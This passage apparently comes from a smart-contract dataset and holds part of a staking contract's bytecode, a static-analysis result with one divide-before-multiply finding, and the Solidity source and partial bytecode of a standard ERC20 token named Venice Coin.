4906101000a900467ffffffffffffffff16610e6e565b805b91505090565b610e7e3382610af9565b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f08906124ac565b60405180910390fd5b6000826fffffffffffffffffffffffffffffffff1611610f3057600080fd5b610f38611589565b600660106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060004290506000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610fd291906122eb565b60206040518083038186803b158015610fea57600080fd5b505afa158015610ffe573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102291906120db565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156110a457600054810390505b6000600660009054906101000a900467ffffffffffffffff1667ffffffffffffffff168367ffffffffffffffff1610611121578367ffffffffffffffff16856fffffffffffffffffffffffffffffffff1681611103576111026126de565b5b046fffffffffffffffffffffffffffffffff16600581905550611186565b600083600660009054906101000a900467ffffffffffffffff160367ffffffffffffffff169050600554810291508467ffffffffffffffff1682876fffffffffffffffffffffffffffffffff16018161117d5761117c6126de565b5b04600581905550505b8181866fffffffffffffffffffffffffffffffff160111156111dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d49061248c565b60405180910390fd5b82600660086101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550838301600660006101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055507fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d8560405161126091906124e7565b60405180910390a15050505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c906124ac565b60405180910390fd5b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161138291906122eb565b60206040518083038186803b15801561139a57600080fd5b505afa1580156113ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d291906120db565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561145d576000548161145a9190612588565b90505b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016114ba929190612366565b602060405180830381600087803b1580156114d457600080fd5b505af11580156114e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061150c9190612041565b61151557600080fd5b600060058190555042600660006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555050565b600660089054906101000a900467ffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600054905060008114156115c157600660109054906101000a90046fffffffffffffffffffffffffffffffff16915050611645565b6000600660089054906101000a900467ffffffffffffffff166115e2610e19565b0367ffffffffffffffff16905081670de0b6b3a76400006005548302028161160d5761160c6126de565b5b04600660109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1601925050505b90565b600660109054906101000a90046fffffffffffffffffffffffffffffffff1681565b6116726107a5565b61168361167e33610c79565b6105c5565b565b600660009054906101000a900467ffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461172f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611726906124ac565b60405180910390fd5b61173881611e3b565b50565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054816fffffffffffffffffffffffffffffffff1611156117f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ec9061244c565b60405180910390fd5b806fffffffffffffffffffffffffffffffff16600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550806fffffffffffffffffffffffffffffffff16600054036000819055506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119915760003373ffffffffffffffffffffffffffffffffffffffff16836fffffffffffffffffffffffffffffffff16604051611905906122d6565b60006040518083038185875af1925050503d8060008114611942576040519150601f19603f3d011682016040523d82523d6000602084013e611947565b606091505b505090508061198b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119829061246c565b60405180910390fd5b50611ab9565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b81526004016119ee92919061233d565b602060405180830381600087803b158015611a0857600080fd5b505af1158015611a1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a409190612041565b6040518060400160405280601c81526020017f7374616b656420746f6b656e207472616e73666572206661696c65640000000081525090611ab7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aae91906123aa565b60405180910390fd5b505b3373ffffffffffffffffffffffffffffffffffffffff167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d583604051611aff91906124e7565b60405180910390a25050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611bc85734600080828254019250508190555034600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550611de8565b60003414611c0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c029061240c565b60405180910390fd5b6000826fffffffffffffffffffffffffffffffff1611611c60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c57906123ec565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401611c9d93929190612306565b602060405180830381600087803b158015611cb757600080fd5b505af1158015611ccb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cef9190612041565b6040518060400160405280601c81526020017f7374616b656420746f6b656e207472616e73666572206661696c65640000000081525090611d66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5d91906123aa565b60405180910390fd5b50816fffffffffffffffffffffffffffffffff166000808282540192505081905550816fffffffffffffffffffffffffffffffff16600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b8273ffffffffffffffffffffffffffffffffffffffff167f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d83604051611e2e91906124e7565b60405180910390a2505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611eab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea2906123cc565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081359050611f7a81612894565b92915050565b600081519050611f8f816128ab565b92915050565b600081359050611fa4816128c2565b92915050565b600081519050611fb9816128d9565b92915050565b600081359050611fce816128f0565b92915050565b600060208284031215611fea57611fe961270d565b5b6000611ff884828501611f6b565b91505092915050565b600080604083850312156120185761201761270d565b5b600061202685828601611f6b565b925050602061203785828601611f95565b9150509250929050565b6000602082840312156120575761205661270d565b5b600061206584828501611f80565b91505092915050565b6000602082840312156120845761208361270d565b5b600061209284828501611f95565b91505092915050565b600080604083850312156120b2576120b161270d565b5b60006120c085828601611f95565b92505060206120d185828601611fbf565b9150509250929050565b6000602082840312156120f1576120f061270d565b5b60006120ff84828501611faa565b91505092915050565b612111816125bc565b82525050565b61212081612634565b82525050565b600061213182612561565b61213b8185612577565b935061214b81856020860161267c565b61215481612712565b840191505092915050565b600061216c602683612577565b915061217782612723565b604082019050919050565b600061218f600e83612577565b915061219a82612772565b602082019050919050565b60006121b2600c83612577565b91506121bd8261279b565b602082019050919050565b60006121d5601683612577565b91506121e0826127c4565b602082019050919050565b60006121f8601a83612577565b9150612203826127ed565b602082019050919050565b600061221b601483612577565b915061222682612816565b602082019050919050565b600061223e601183612577565b91506122498261283f565b602082019050919050565b6000612261602083612577565b915061226c82612868565b602082019050919050565b600061228460008361256c565b915061228f82612891565b600082019050919050565b6122a3816125da565b82525050565b6122b281612646565b82525050565b6122c181612616565b82525050565b6122d081612620565b82525050565b60006122e182612277565b9150819050919050565b60006020820190506123006000830184612108565b92915050565b600060608201905061231b6000830186612108565b6123286020830185612108565b61233560408301846122a9565b949350505050565b60006040820190506123526000830185612108565b61235f60208301846122a9565b9392505050565b600060408201905061237b6000830185612108565b61238860208301846122b8565b9392505050565b60006020820190506123a46000830184612117565b92915050565b600060208201905081810360008301526123c48184612126565b905092915050565b600060208201905081810360008301526123e58161215f565b9050919050565b6000602082019050818103600083015261240581612182565b9050919050565b60006020820190508181036000830152612425816121a5565b9050919050565b60006020820190508181036000830152612445816121c8565b9050919050565b60006020820190508181036000830152612465816121eb565b9050919050565b600060208201905081810360008301526124858161220e565b9050919050565b600060208201905081810360008301526124a581612231565b9050919050565b600060208201905081810360008301526124c581612254565b9050919050565b60006020820190506124e1600083018461229a565b92915050565b60006020820190506124fc60008301846122a9565b92915050565b6000604082019050612517600083018561229a565b612524602083018461229a565b9392505050565b600060208201905061254060008301846122b8565b92915050565b600060208201905061255b60008301846122c7565b92915050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b600061259382612616565b915061259e83612616565b9250828210156125b1576125b06126af565b5b828203905092915050565b60006125c7826125f6565b9050919050565b60008115159050919050565b60006fffffffffffffffffffffffffffffffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600067ffffffffffffffff82169050919050565b600061263f82612658565b9050919050565b6000612651826125da565b9050919050565b60006126638261266a565b9050919050565b6000612675826125f6565b9050919050565b60005b8381101561269a57808201518184015260208101905061267f565b838111156126a9576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f74207374616b652030000000000000000000000000000000000000600082015250565b7f6e6f6e2d7a65726f206574680000000000000000000000000000000000000000600082015250565b7f726577617264207472616e73666572206661696c656400000000000000000000600082015250565b7f77697468647261773a2062616c616e6365206973206c6f776572000000000000600082015250565b7f657468207472616e73666572206661696c757265000000000000000000000000600082015250565b7f6e6f7420656e6f75676820746f6b656e73000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b50565b61289d816125bc565b81146128a857600080fd5b50565b6128b4816125ce565b81146128bf57600080fd5b50565b6128cb816125da565b81146128d657600080fd5b50565b6128e281612616565b81146128ed57600080fd5b50565b6128f981612620565b811461290457600080fd5b5056fea264697066735822122097965ae5a79bfc78ba886b7e08a5a13994d80d739c369a77932466cabf436d8b64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,337 |
0xf6d4fbc3b86811df25d829a14dae0269a3ee5462
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract VeniceSwap is ERC20 {
constructor() ERC20("Venice Coin", "VENICE") {
_mint(msg.sender, 500000000000000000000000000);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190611015565b60405180910390f35b6100e660048036038101906100e19190610c8e565b610308565b6040516100f39190610ffa565b60405180910390f35b610104610326565b6040516101119190611117565b60405180910390f35b610134600480360381019061012f9190610c3f565b610330565b6040516101419190610ffa565b60405180910390f35b610152610431565b60405161015f9190611132565b60405180910390f35b610182600480360381019061017d9190610c8e565b61043a565b60405161018f9190610ffa565b60405180910390f35b6101b260048036038101906101ad9190610bda565b6104e6565b6040516101bf9190611117565b60405180910390f35b6101d061052e565b6040516101dd9190611015565b60405180910390f35b61020060048036038101906101fb9190610c8e565b6105c0565b60405161020d9190610ffa565b60405180910390f35b610230600480360381019061022b9190610c8e565b6106b4565b60405161023d9190610ffa565b60405180910390f35b610260600480360381019061025b9190610c03565b6106d2565b60405161026d9190611117565b60405180910390f35b6060600380546102859061127b565b80601f01602080910402602001604051908101604052809291908181526020018280546102b19061127b565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610759565b8484610761565b6001905092915050565b6000600254905090565b600061033d84848461092c565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90611097565b60405180910390fd5b61042585610414610759565b858461042091906111bf565b610761565b60019150509392505050565b60006012905090565b60006104dc610447610759565b848460016000610455610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104d79190611169565b610761565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053d9061127b565b80601f01602080910402602001604051908101604052809291908181526020018280546105699061127b565b80156105b65780601f1061058b576101008083540402835291602001916105b6565b820191906000526020600020905b81548152906001019060200180831161059957829003601f168201915b5050505050905090565b600080600160006105cf610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561068c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610683906110f7565b60405180910390fd5b6106a9610697610759565b8585846106a491906111bf565b610761565b600191505092915050565b60006106c86106c1610759565b848461092c565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c8906110d7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083890611057565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161091f9190611117565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561099c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610993906110b7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390611037565b60405180910390fd5b610a17838383610bab565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9490611077565b60405180910390fd5b8181610aa991906111bf565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b399190611169565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9d9190611117565b60405180910390a350505050565b505050565b600081359050610bbf8161131c565b92915050565b600081359050610bd481611333565b92915050565b600060208284031215610bec57600080fd5b6000610bfa84828501610bb0565b91505092915050565b60008060408385031215610c1657600080fd5b6000610c2485828601610bb0565b9250506020610c3585828601610bb0565b9150509250929050565b600080600060608486031215610c5457600080fd5b6000610c6286828701610bb0565b9350506020610c7386828701610bb0565b9250506040610c8486828701610bc5565b9150509250925092565b60008060408385031215610ca157600080fd5b6000610caf85828601610bb0565b9250506020610cc085828601610bc5565b9150509250929050565b610cd381611205565b82525050565b6000610ce48261114d565b610cee8185611158565b9350610cfe818560208601611248565b610d078161130b565b840191505092915050565b6000610d1f602383611158565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d85602283611158565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610deb602683611158565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e51602883611158565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610eb7602583611158565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f1d602483611158565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f83602583611158565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b610fe581611231565b82525050565b610ff48161123b565b82525050565b600060208201905061100f6000830184610cca565b92915050565b6000602082019050818103600083015261102f8184610cd9565b905092915050565b6000602082019050818103600083015261105081610d12565b9050919050565b6000602082019050818103600083015261107081610d78565b9050919050565b6000602082019050818103600083015261109081610dde565b9050919050565b600060208201905081810360008301526110b081610e44565b9050919050565b600060208201905081810360008301526110d081610eaa565b9050919050565b600060208201905081810360008301526110f081610f10565b9050919050565b6000602082019050818103600083015261111081610f76565b9050919050565b6000602082019050